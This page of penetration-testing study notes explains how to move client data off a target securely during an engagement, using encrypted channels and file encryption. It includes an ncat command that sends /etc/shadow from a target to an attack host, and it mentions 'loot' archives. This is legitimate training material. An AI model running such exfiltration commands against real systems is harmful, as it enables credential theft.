Protected Transfers
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Files such as NTDS.dit, user lists, and scan output hold client data. Send them over an encrypted connection, or encrypt the file before a plaintext transfer. Use a strong password that is unique to each engagement.
Do not take personal data, payment data, or trade secrets off a client network unless the client asks for it. To test data-loss controls, send a file of dummy data.
Encrypted connections
| Method | Command | Page |
|---|---|---|
| SSH | scp |
Linux Transfers |
| HTTPS upload | uploadserver --server-certificate |
Serving Files |
| TLS stream | openssl s_server and s_client |
Linux Transfers |
| TLS stream | ncat --ssl |
Below |
| WinRM over HTTPS | evil-winrm -S |
WinRM |
ncat --ssl makes a temporary certificate when you give it none:
ncat --ssl -lvnp 443 --recv-only > shadow # attack host: catch the filencat --ssl 10.10.14.20 443 --send-only < /etc/shadow # target: send the fileEncrypt on Linux
openssl enc -aes256 -pbkdf2 -iter 100000 -in shadow -out shadow.enc # encryptopenssl enc -d -aes256 -pbkdf2 -iter 100000 -in shadow.enc -out shadow # decrypt| Flag | Meaning |
|---|---|
-aes256 |
AES-256 in CBC mode |
-pbkdf2 |
Derives the key from the password with PBKDF2 |
-iter 100000 |
PBKDF2 rounds. More rounds slow a brute-force attack |
-d |
Decrypts |
openssl asks for the password. Use the same -pbkdf2 and -iter values on both ends.
Encrypt on Windows
Invoke-AESEncryption.ps1 encrypts files and strings with AES-256. Transfer it to the target, then import it:
Import-Module .\Invoke-AESEncryption.ps1 # load the functionInvoke-AESEncryption -Mode Encrypt -Key '<password>' -Path .\scan-results.txt # write scan-results.txt.aes beside the originalInvoke-AESEncryption -Mode Decrypt -Key '<password>' -Path .\scan-results.txt.aes # write scan-results.txt backDecrypt with the same script on your attack host, in PowerShell 7 (pwsh).
A password-protected archive also works on a host with 7-Zip:
REM encrypted archive of the loot folder"C:\Program Files\7-Zip\7z.exe" a -p<password> -mhe=on loot.7z C:\Users\Public\loot-p sets the password. -mhe=on also encrypts the file names.